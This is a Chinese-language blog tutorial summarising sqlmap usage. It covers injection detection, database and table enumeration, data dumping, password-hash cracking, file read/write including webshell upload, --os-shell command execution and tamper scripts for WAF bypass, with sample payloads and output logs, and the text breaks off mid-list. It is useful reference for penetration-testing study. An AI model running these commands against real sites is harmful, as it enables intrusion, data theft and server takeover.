1. 程式人生 > >記一份SQLmap使用手冊小結(一)

記一份SQLmap使用手冊小結(一)

前言

一直沒有找到關於sqlmap注入非常詳細的知識點總結,最近在烏雲裡面發現一篇很好的文章關於sqlmap使用的方法

就搬運過來了,再加上一些其它文章的內容,總結而得到的本文。

希望各位大佬輕噴(QAQ)

1:尋找注入點

GET方式

sqlmap -u "url" //這個URL必須含?

POST方式

sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"

cookie注入

sqlmap -u "url" --cookie "chsadj" --level 2 //這裡的URL去掉?及其後的內容,並將它們放在cookie的內容裡面

tamper方式

sqlmap -u "url" -v 3 --batch --tamper "sac.py"  //temper後面的外掛可以去sql安裝目錄查詢

自動檢測表

sqlmap -u http://testasp.vulnweb.com/Login.asp --forms

延時兩秒

Sqlmap –u “url” --delay 2

頻率3次

Sqlmap –u “url” --safe-freq 3

偽靜態

Sqlmap -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html //在40後面加*

檢視資料庫

sqlmap -u "url" --dbs   //檢視所有資料庫
sqlmap -u "url" --users //檢視所有使用者
sqlmap -u "url" --current-db //檢視當前的資料庫
sqlmap -u "url" --current-user //產看當前的使用者
sqlmap -u "url" --is-dba //檢視是否是最高許可權
sqlmap -u "url" --passwords //檢視所有密碼
sqlmap -u "url" –hostname //檢視主機名
sqlmap -u "url" privileges -U username //檢視使用者許可權
sqlmap -u "url" –roles //檢視使用者角色

檢視詳細內容

sqlmap -u "url" --tables -D "database" //database這個資料庫的表資料表
sqlmap -u "url" --columns -T "tables" -D "database" //檢視tables這個資料表的欄位
sqlmap -u "url" --dump "a,b,c" -C "columns" -T "tables" -D "database" //下載內容,後面的-CTDabc都是對下載的資料庫表段的約束如果不加就是下載所有

執行特殊操作

檔案檢視

sqlmap -u "url" –file-read= //這個讀取的檔案會存在本地的結果目錄,請認真看提示

檔案寫入

sqlmap -u "url" --file-write=本地檔案路徑 --file-dest=網站的絕對路徑 //上傳webshell用,需要dba許可權

命令執行

sqlmap -u "url" --os-cmd "cmd"  //執行cmd代表的命令,如cd C:/

sqlmap -u "url" --os-shell  //進入資料庫自帶的shell

命令總覽

使用sqlmap -hh可以檢視詳細的命令說明:

-r 1.txt            對於用post方法提交的,引數不在URL裡面的網頁,可以先截獲資料,儲存成檔案再用這個引數執行
-l log.txt          可以將代理的日誌作為目標去檢測[見下圖]
-m 1.txt            對於多個URL,可以一排一個寫入檔案後加載
--force-ssl         對於使用SSL的URL要在後面加上這個引數
--data              對於使用post方法,可以將引數寫在data後面
--param-del=""          
--cookie=""  level 2        對於需要驗證才能訪問的URL,可以加上cookie值驗證,如果要檢測cookie是否有注入漏洞,level要高於1
--random-agent          使用隨機的user-agent
--user-agent=""  level 3    指定user-agent,如要檢測它是否有漏洞level要高於2
--header="\n"           指定頭資訊,如User-Agent:dsacs,大小寫敏感,多個用\n分隔
--method=GET POST       設定提交方式,預設一個一個的嘗試
--auth-type             如果是基於http的驗證,如Basic NTLM Digest,可直接加型別再配合下一個引數使用
--auth-cred "user:pass"     填寫賬號和密碼
 --proxy="http:127.0.0.1:8087"  使用代理
--proxy-cred="name:pass"    如果代理要密碼的話
--ignore-proxy          強制不使用代理
--delay             請求延遲間隔,單位秒,預設無延遲
--retries           連結失敗重試次數3
--timeout           連結超時時間30
--randomize="param"     使用和源引數型別長度一致的引數
sqlmap -l l.log --scope="(www)?\.target\.(com|net|org)"     這是一個正則表示式,是對於log檔案裡面URL過多時,進行篩選,這裡是只要com/net/org結尾的域名
sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|11|111)"        同上,篩選19*.168.20.1/11/111這幾個網段的IP
--safe-url="url"        設定正確的URL,因為如果一直嘗試錯誤的URL可能會被伺服器拉黑,過幾次登下正確的防止這個發生
--safe-freq 10          嘗試的與正確的URL的交換頻率
--skip-urlencode        有的URL在get方式提交時沒編碼,就要用這個
--eval=""php程式碼      這個後面可以跟PHP程式碼,能夠執行
--keep-alive            保持連線會降低資源使用,但是不能與代理相容
--predict-output        能夠在找到一個資訊後縮小檢測的範圍,不能與--threads相容
--null-connection       只看返回檔案的大小,不要他的內容與--text-only不相容
--threads           最大併發數,預設1,最大不要超過10,盲注時一次返回一個字元【7次請求】
-o              使用除了--threads的全部的優化引數
-p              指定引數,使level失效
-skip               排除不掃描的引數
                對於偽靜態網頁,就在引數後面加*
--dbms              接資料庫管理系統,如MySQL
--os                接系統,如Linux
--invalid-bignum        使用大數作為假的值
--invalid-logical       使用邏輯數作為假的值
--no-cat            對於接收到的null不自動轉換成空格
--no-escape         不使用逃逸,就是不把'轉換成asii碼形式
--prefix            在引數前指定字首
--suffix            在引數後指定字尾
--level             設定檢查的等級,預設為1,共5個,可以檢視/usr/share/sqlmap/xml/payloads這個檔案瞭解詳細的資訊
--risk              設定風險等級,預設是安全的檢查,第四等可能會修改資料庫內容
--string            當頁面含有這個字串時為真
--not-string            當頁面不含這個字串時為真
--regexp            用正則表示式判斷
--code              當狀態程式碼為*時為真
--text-only         頁面含有*時為真
--titles            頁面標題為*時為真
--techniques 
B E U S T           使用什麼檢查技術,預設所有,這裡分別是基於布林的盲注,基於錯誤的判斷,聯合查詢,堆積,基於時間的查詢
--time-sec          
--union-cols            聯合查詢第幾列到第幾列
--union-char            用select null,1:2  這種,可能會出錯,就講這個null換成其他數字佔位
--second-order          當注入後在第二個頁面顯示錯誤資訊,這裡就接上顯示錯誤資訊的地方
-fingerprint            指紋資訊
--banner            版本資訊
--batch             按照軟體預設設定,自動回答
--count             計數
-s              將這個會話儲存下次繼續
-t              將這些資料儲存
--charset           強制設定資料庫編碼
--crawl             設定蜘蛛爬行的深度
--csv-del           設定下載的資料的分隔方式,預設是,
--dbms-cred         設定資料庫使用者
--flush-session         清空以前的會話資料
--fresh-queries         不清空會話,重新查詢
--hex               一16進位制編碼的方式傳輸資料
--output-dir            會話輸出資料夾
--parse-errors          顯示MySQL錯誤資訊
--save              儲存當前配置為檔案
-z              特別的助記方式,後面接的只要是獨一無二的企鵝存在的就可以用,如user-agent可以用ueraet.
--answers           這個可以對一些特定的問題作出回答,在自動化注入中用
--check-waf         檢查是否含有waf等
--identify-waf          徹底的檢查waf等的資訊
--smart     當有大量目標時,這個就只檢查基於錯誤的注入點
--mobile    模擬智慧手機去掃描
--wizard    嚮導模式
--purge-out 清除輸出內容

使用-l引數時,這樣設定burpsuite

注入判斷

當給sqlmap這麼一個url的時候,它會:

1. 判斷可注入的引數

2. 判斷可以用那種SQL注入技術來注入

3. 識別出哪種資料庫

4. 根據使用者選擇,讀取哪些資料

sqlmap支援五種不同的注入模式:

1. 基於布林的盲注,即可以根據返回頁面判斷條件(真\|假)的注入。

2. 基於時間的盲注,即不能根據頁面返回內容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。

3. 基於報錯注入,即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中。

4. 聯合查詢注入,可以使用union的情況下的注入。

5. 堆查詢注入,可以同時執行多條語句的執行時的注入。(使用;分隔開多條語句,最為靈活,可以自己構造select(含)外的其他語句)

sqlmap支援的資料庫管理系統有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,
SQLite, Firebird, Sybase和SAP MaxDB

可以提供一個簡單的URL,BurpWebScarab請求日誌檔案,文字文件中的完整http請求或者Google的搜尋,匹配出結果頁面,

也可以自己定義一個正則來判斷那個地址去測試。

測試GET引數,POST引數,HTTP Cookie引數,HTTP User-Agent頭和HTTP Referer頭來確認是否有SQL注入,

它也可以指定用逗號分隔的列表的具體引數來測試。可以設定HTTP(S)請求的併發數,來提高盲注時的效率。

用來連線資料庫

這是一個比較實用的功能,用來連線資料庫格式為

設定顯示資訊的詳細度:

使用-v引數,共有個等級:

0. 只顯示python錯誤以及嚴重的資訊。

1. 同時顯示基本資訊和警告資訊。(預設)

2. 同時顯示debug資訊。

3. 同時顯示注入的payload。

4. 同時顯示HTTP請求。

5. 同時顯示HTTP響應頭。

6. 同時顯示HTTP響應頁面。

可以通過學習sqlmappayload來學習sql注入,這時需要使用3級。

獲取目標方式

目標URL

引數:-u或者–url

格式:http(s)://targeturl[:port]/[…]

例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users

Burp或者WebScarab代理中獲取日誌

引數:-l

可以直接吧Burp proxy或者WebScarab proxy中的日誌直接倒出來交給sqlmap來一個一個檢測是否有注入。

從文字中獲取多個目標掃描

引數:-m

檔案中儲存url格式如下,sqlmap會一個一個檢測

www.target1.com/vuln1.php?q=foobar

www.target2.com/vuln2.asp?id=1

www.target3.com/vuln3/id/1*

從檔案中載入HTTP請求

引數:-r

sqlmap可以從一個文字檔案中獲取HTTP請求,這樣就可以跳過設定一些其他引數(比如cookie,POST資料,等等)。

比如文字檔案內如下:

POST /vuln.php HTTP/1.1

Host: www.target.com

User-Agent: Mozilla/4.0

id=1

當請求是HTTPS的時候你需要配合這個–force-ssl引數來使用,或者你可以在Host頭後面加上:443

處理Google的搜尋結果

引數:-g

sqlmap可以測試注入Google的搜尋結果中的GET引數(只獲取前100個結果)。

例子:

python sqlmap.py -g "inurl:\".php?id=1\""

此外可以使用-c引數載入sqlmap.conf檔案裡面的相關配置。

請求

http資料

引數:–data

此引數是把資料以POST方式提交,sqlmap會像檢測GET引數一樣檢測POST的引數。

例子:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

引數拆分字元

引數:–param-del

GETPOST的資料需要用其他字元分割測試引數的時候需要用到此引數(預設是&)。

例子:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1"
--param-del=";" -f --banner --dbs --users

HTTP cookie頭

引數:–cookie,–load-cookies,–drop-set-cookie

這個引數在以下兩個方面很有用:

  1. web應用需要登陸的時候。

  2. 你想要在這些頭引數中測試SQL注入時。

可以通過抓包把cookie獲取到,複製出來,然後加到–cookie引數裡。

HTTP請求中,遇到Set-Cookie的話,sqlmap會自動獲取並且在以後的請求中加入,並且會嘗試SQL注入。

如果你不想接受Set-Cookie可以使用–drop-set-cookie引數來拒接。

當你使用–cookie引數時,當返回一個Set-Cookie頭的時候,sqlmap會詢問你用哪個cookie來繼續接下來的請求。

–level的引數設定為2或者2以上的時候,sqlmap會嘗試注入Cookie引數。

HTTP User-Agent頭

引數:–user-agent,–random-agent

預設情況下sqlmapHTTP請求頭中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

(這可能直接會被過濾掉或是觸發警報,可以使用真實瀏覽器的useragent,百度一下就有了)

可以使用–user-anget引數來修改,同時也可以使用–random-agnet引數來隨機的從./txt/user-agents.txt中獲取。

–level引數設定為3或者3以上的時候,會嘗試對User-Angent進行注入。

HTTP Referer頭

引數:–referer

sqlmap可以在請求中偽造HTTP中的referer,當–level引數設定為3或者3以上的時候會嘗試對referer注入。

額外的HTTP頭

引數:–headers

可以通過–headers引數來增加額外的http頭

HTTP認證保護

引數:–auth-type,–auth-cred

這些引數可以用來登陸HTTP的認證保護支援三種方式:

1. Basic

2. Digest

3. NTLM

例子:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1"
--auth-type Basic --auth-cred "testuser:testpass"

HTTP協議的證書認證

引數:–auth-cert

當Web伺服器需要客戶端證書進行身份驗證時,需要提供兩個檔案:key_file,cert_file

key_file是格式為PEM檔案,包含著你的私鑰,cert_file是格式為PEM的連線檔案。

HTTP(S)代理

引數:–proxy,–proxy-cred–ignore-proxy

使用–proxy代理是格式為:http://url:port。

HTTP(S)代理需要認證是可以使用–proxy-cred引數:username:password

–ignore-proxy拒絕使用本地區域網的HTTP(S)代理。

HTTP請求延遲

引數:–delay

可以設定兩個HTTP(S)請求間的延遲,設定為0.5的時候是半秒,預設是沒有延遲的。

設定超時時間

引數:–timeout

可以設定一個HTTP(S)請求超過多久判定為超時,10.5表示10.5秒,預設是30秒。

設定重試超時

引數:–retries

HTTP(S)超時時,可以設定重新嘗試連線次數,預設是3次。

設定隨機改變的引數值

引數:–randomize

可以設定某一個引數值在每一次請求中隨機的變化,長度和型別會與提供的初始值一樣。

利用正則過濾目標網址

引數:**–scope**

例如:

python sqlmap.py -l burp.log --scope="(www)?\.target\.(com\|net\|org)"

避免過多的錯誤請求被遮蔽

引數:–safe-url,–safe-freq

有的web應用程式會在你多次訪問錯誤的請求時遮蔽掉你以後的所有請求,這樣在sqlmap進行探測或者注入的時候可能造成錯誤請求而觸發這個策略,導致以後無法進行。

繞過這個策略有兩種方式:

  1. --safe-url:提供一個安全不錯誤的連線,每隔一段時間都會去訪問一下。

  2. --safe-freq:提供一個安全不錯誤的連線,一段頻率後會訪問一次。

關掉URL引數值編碼

引數:–skip-urlencode

根據引數位置,他的值預設將會被URL編碼,但是有些時候後端的web伺服器不遵守RFC標準,只接受不經過URL編碼的值,這時候就需要用–skip-urlencode引數。

每次請求時候執行自定義的python程式碼

引數:–eval

在有些時候,需要根據某個引數的變化,而修改另個一引數,才能形成正常的請求,這時可以用–eval引數在每次請求時根據所寫python程式碼做完修改後請求。

例子:

python sqlmap.py -u
"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"
--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的請求就是每次請求時根據id引數值,做一次md5後作為hash引數的值。

注入

測試引數

引數:-p

如: -p “id,user-anget”

指定要跳過測試的引數

引數:–skip

如:–skip=”user-angent.referer”

對於偽靜態連結,可以在想測試的引數後面加*,它會測試那個指定的引數

例如:

python sqlmap.py -u "http://targeturl/param1/value1\*/param2/value2/"

指定資料庫

引數:–dbms

不指定會自動探測,如果知道最好指定

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft
Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定伺服器系統

引數:–os

不指定會自動探測,支援的有:Linux、Windows

指定無效的大數字

引數:–invalid-bignum

當你想指定一個報錯的數值時,可以使用這個引數,例如預設情況系id=13,sqlmap會變成id=-13來報錯,你可以指定比如id=9999999來報錯。

指定無效的邏輯

引數:–invalid-logical

原因同上,可以指定id=13把原來的id=-13的報錯改成id=13 AND 18=19

注入payload

引數:–prefix,–suffix

在有些環境中,需要在注入的payload的前面或者後面加一些字元,來保證payload的正常執行。

例如,程式碼中是這樣呼叫資料庫的:

$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

這時你就需要–prefix–suffix引數了:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix
"’)" --suffix "AND (’abc’=’abc"

這樣執行的SQL語句變成:

$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’)
LIMIT 0, 1";

修改注入的資料

引數:–tamper

sqlmap除了使用CHAR()函式來防止出現單引號之外沒有對注入的資料修改,你可以使用–tamper引數對資料做修改來繞過WAF等裝置。 下面是一個tamper指令碼的格式:

# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal

可以檢視 tamper/ 目錄下的有哪些可用的指令碼

例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]

探測

探測等級

引數:–level

共有五個等級,預設為1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根據相應的格式新增自己的payload

這個引數不僅影響使用哪些payload同時也會影響測試的注入點,GETPOST的資料都會測試,HTTP Cookielevel為2的時候

就會測試,HTTP User-Agent/Referer頭在level為3的時候就會測試。

總之在你不確定哪個payload或者引數為注入點的時候,為了保證全面性,建議使用高的level值。

風險等級

引數:–risk

共有四個風險等級,預設是1會測試大部分的測試語句,2會增加基於事件的測試語句,3會增加OR語句的SQL注入測試。

在有些時候,例如在UPDATE的語句中,注入一個OR的測試語句,可能導致更新的整個表,可能造成很大的風險。

測試的語句同樣可以在xml/payloads.xml中找到,你也可以自行新增payload

頁面比較

引數:–string,–not-string,–regexp,–code

預設情況下sqlmap通過判斷返回頁面的不同來判斷真假,但有時候這會產生誤差,因為有的頁面在每次重新整理的時候都會返回不同的程式碼,

比如頁面當中包含一個動態的廣告或者其他內容,這會導致sqlmap的誤判。此時使用者可以提供一個字串或者一段正則匹配,

在原始頁面與真條件下的頁面都存在的字串,而錯誤頁面中不存在(使用–string引數新增字串,–regexp新增正則),

同時使用者可以提供一段字串在原始頁面與真條件下的頁面都不存在的字串,而錯誤頁面中存在的字串(–not-string新增)。

使用者也可以提供真與假條件返回的HTTP狀態碼不一樣來注入,例如,響應200的時候為真,響應401的時候為假,可以新增引數–code=200。

引數:–text-only,–titles

有些時候使用者知道真條件下的返回頁面與假條件下返回頁面是不同位置在哪裡可以使用–text-only(HTTP響應體中不同)–titles(HTML的title標籤中不同)。

注入技術

測試是否是注入

引數:–technique

這個引數可以指定sqlmap使用的探測技術,預設情況下會測試所有的方式。

支援的探測方式如下:

B: Boolean-based blind SQL injection(布林型注入)

E: Error-based SQL injection(報錯型注入)

U: UNION query SQL injection(可聯合查詢注入)

S: Stacked queries SQL injection(可多語句查詢注入)

T: Time-based blind SQL injection(基於時間延遲注入)

設定延遲注入的時間

引數:–time-sec

當使用繼續時間的盲注時,時刻使用–time-sec引數設定延時時間,預設是5秒。

設定UNION查詢欄位數

引數:–union-cols

預設情況下sqlmap測試UNION查詢注入會測試1-10個欄位數,當–level為5的時候他會增加測試到50個欄位數。

設定–union-cols的值應該是一段整數,如:12-16,是測試12-16個欄位數。

設定UNION查詢使用的字元

引數:–union-char

預設情況下sqlmap針對UNION查詢的注入會使用NULL字元,但是有些情況下會造成頁面返回失敗,而一個隨機整數是成功的,

這是你可以用–union-char只定UNION查詢的字元。

二階SQL注入

引數:–second-order

有些時候注入點輸入的資料看返回結果的時候並不是當前的頁面,而是另外的一個頁面,這時候就需要你指定到哪個頁面獲取響應判斷真假。

–second-order後面跟一個判斷頁面的URL地址。

列資料

引數:-b,–banner

大多數的資料庫系統都有一個函式可以返回資料庫的版本號,通常這個函式是version()或者變數@@version這主要取決與是什麼資料庫。

使用者

引數:-current-user

在大多資料庫中可以獲取到管理資料的使用者。

當前資料庫

引數:–current-db

返還當前連線的資料庫。

當前使用者是否為管理用

引數:–is-dba

判斷當前的使用者是否為管理,是的話會返回True。

列資料庫管理使用者

引數:–users

當前使用者有許可權讀取包含所有使用者的表的許可權時,就可以列出所有管理使用者。

列出並破解資料庫使用者的hash

引數:–passwords

當前使用者有許可權讀取包含使用者密碼的彪的許可權時,sqlmap會現列舉出使用者,然後列出hash,並嘗試破解。

$ python sqlmap.py -u "http://********/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass

可以看到sqlmap不僅勒出資料庫的使用者跟密碼,同時也識別出是PostgreSQL資料庫,並詢問使用者是否採用字典爆破的方式進行破解,

這個爆破已經支援OracleMicrosoft SQL Server

也可以提供-U引數來指定爆破哪個使用者的hash

列出資料庫管理員許可權

引數:–privileges

當前使用者有許可權讀取包含所有使用者的表的許可權時,很可能列舉出每個使用者的許可權,sqlmap將會告訴你哪個是資料庫的超級管理員。

也可以用-U引數指定你想看哪個使用者的許可權。

列出資料庫管理員角色

引數:–roles

當前使用者有許可權讀取包含所有使用者的表的許可權時,很可能列舉出每個使用者的角色,也可以用-U引數指定你想看哪個使用者的角色。

僅適用於當前資料庫是Oracle的時候。

列出資料庫系統的資料庫

引數:–dbs

當前使用者有許可權讀取包含所有資料庫列表資訊的表中的時候,即可列出所有的資料庫。

列舉資料庫表

引數:–tables,–exclude-sysdbs,-D

當前使用者有許可權讀取包含所有資料庫表資訊的表中的時候,即可列出一個特定資料的所有表。

sqlmap -u "http://192.168.163.138/mutillidae/index.php?page=user-info.php&username=111&password=12123&user-info-php-submit-button=View+Account+Details"
--tables -D dvwa

如果你不提供-D引數來列指定的一個數據的時候,sqlmap會列出資料庫所有庫的所有表。

–exclude-sysdbs引數是指包含了所有的系統資料庫。

需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是資料庫名稱。

列舉資料庫表中的欄位

引數:–columns,-C,-T,-D

當前使用者有許可權讀取包含所有資料庫表資訊的表中的時候,即可列出指定資料庫表中的欄位,同時也會列出欄位的資料型別。

如果沒有使用-D引數指定資料庫時,預設會使用當前資料庫。

$ python sqlmap.py -u "http://*******/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type|
+---------+---------+
| id  | INTEGER |
| name| TEXT|
| surname | TEXT|
+---------+---------+

列舉資料庫系統的架構

引數:–schema,–exclude-sysdbs

使用者可以用此引數獲取資料庫的架構,包含所有的資料庫,表和欄位,以及各自的型別。

加上–exclude-sysdbs引數,將不會獲取資料庫自帶的系統庫內容。

MySQL例子:

$ python sqlmap.py -u "http://*******/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column  | Type|
+-------------+---------+
| cid | int(11) |
| mysignature | text|
| password| text|
| username| text|
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column   | Type |
+--------------+----------+
| date | datetime |
| blogger_name | text |
| cid  | int(11)  |
| comment  | text |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type |
+----------+----------+
| date | datetime |
| browser  | text |
| cid  | int(11)  |
| hostname | text |
| ip   | text |
| referer  | text |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type  |
+---------+---------------+
| id  | int(11)   |
| name| varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

獲取表中資料個數

引數:–count

有時候使用者只想獲取表中的資料個數而不是具體的內容,那麼就可以使用這個引數。

列舉一個Microsoft SQL Server例子:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table  | Entries |
+----------------+---------+
| dbo.users  | 4   |
| dbo.users_blob | 2   |
+----------------+---------+

獲取整個表的資料

引數:–dump,-C,-T,-D,–start,–stop,–first,–last

如果當前管理員有許可權讀取資料庫其中的一個表的話,那麼就能獲取真個表的所有內容。

使用-D,-T引數指定想要獲取哪個庫的哪個表,不使用-D引數時,預設使用當前庫。

列舉一個Firebird的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME|
+----+--------+------------+
| 1  | luther | blisset|
| 2  | fluffy | bunny  |
| 3  | wu | ming   |
| 4  | NULL   | nameisnull |
+----+--------+------------+

可以獲取指定庫中的所有表的內容,只用-dump-D引數(不使用-T與-C引數)。

也可以用-dump跟-C獲取指定的欄位內容。

sqlmap為每個表生成了一個CSV檔案。

如果你只想獲取一段資料,可以使用–start和–stop引數,例如,你只想獲取第一段資料可hi使用–stop

1,如果想獲取第二段與第三段資料,使用引數 –start 1 –stop 3。

也可以用–first與–last引數,獲取第幾個字元到第幾個字元的內容,如果你想獲取欄位中地三個字元到第五個字元的內容,使用–first

3:–last

4:只在盲注的時候使用,因為其他方式可以準確的獲取注入內容,不需要一個字元一個字元的猜解。

獲取所有資料庫表的內容

引數:–dump-all,–exclude-sysdbs

使用–dump-all引數獲取所有資料庫表的內容,可同時加上–exclude-sysdbs只獲取使用者資料庫的表,

需要注意在Microsoft SQL Servermaster資料庫沒有考慮成為一個系統資料庫,因為有的管理員會把他當初使用者資料庫一樣來使用它。

搜尋欄位,表,資料庫

引數:–search,-C,-T,-D

–search可以用來尋找特定的資料庫名,所有資料庫中的特定表名,所有資料庫表中的特定欄位。

可以在一下三種情況下使用:

-C後跟著用逗號分割的列名,將會在所有資料庫表中搜索指定的列名。

-T後跟著用逗號分割的表名,將會在所有資料庫中搜索指定的表名

-D後跟著用逗號分割的庫名,將會在所有資料庫中搜索指定的庫名。

執行自定義的SQL語句

引數:–sql-query,–sql-shell

sqlmap會自動檢測確定使用哪種SQL注入技術,如何插入檢索語句。

如果是SELECT查詢語句,sqlap將會輸出結果。如果是通過SQL注入執行其他語句,需要測試是否支援多語句執行SQL語句。

列舉一個Mircrosoft SQL Server 2000的例子:

$ python sqlmap.py -u "http://**********/sqlmap/mssql/get_int.php?id=1"
--sql-query "SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'
\$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1"
--sql-query "SELECT 'foo', 'bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS
VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'

爆破

暴力破解表名

引數:–common-tables

當使用–tables無法獲取到資料庫的表時,可以使用此引數。

通常是如下情況:

1. `MySQL`資料庫版本小於5.0,沒有`information_schema`表。

2. 資料庫是`Microssoft Access`,系統表`MSysObjects`是不可讀的(預設)。

3. 當前使用者沒有許可權讀取系統中儲存資料結構的表的許可權。

暴力破解的表在txt/common-tables.txt檔案中,你可以自己新增。

列舉一個MySQL 4.1的例子:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL &lt; 5.0.0
banner:'4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+

暴力破解列名

引數:–common-columns

與暴力破解表名一樣,暴力跑的列名在txt/common-columns.txt中。

可以選擇多執行緒來嘗試破解。

針對過濾空格的:

1:space2dash.py

作用:用”– 隨機字串%0A” 替換原來的空格

示例:

'1 AND 9227=9227'
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

原理是–n是註釋,後面內容不生效,%0A為換行符,這樣就可以不使用空格分隔了。

在以下版本做過測試:

MSSQL
SQLite

2:space2hash.py

作用:空格替換為#號 隨機字串 以及換行符

示例:

1 AND 9227=9227
2 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

版本要求:

MySQL
在以下版本做過測試:
MySQL 4.0, 5.0

3: space2morehash.py

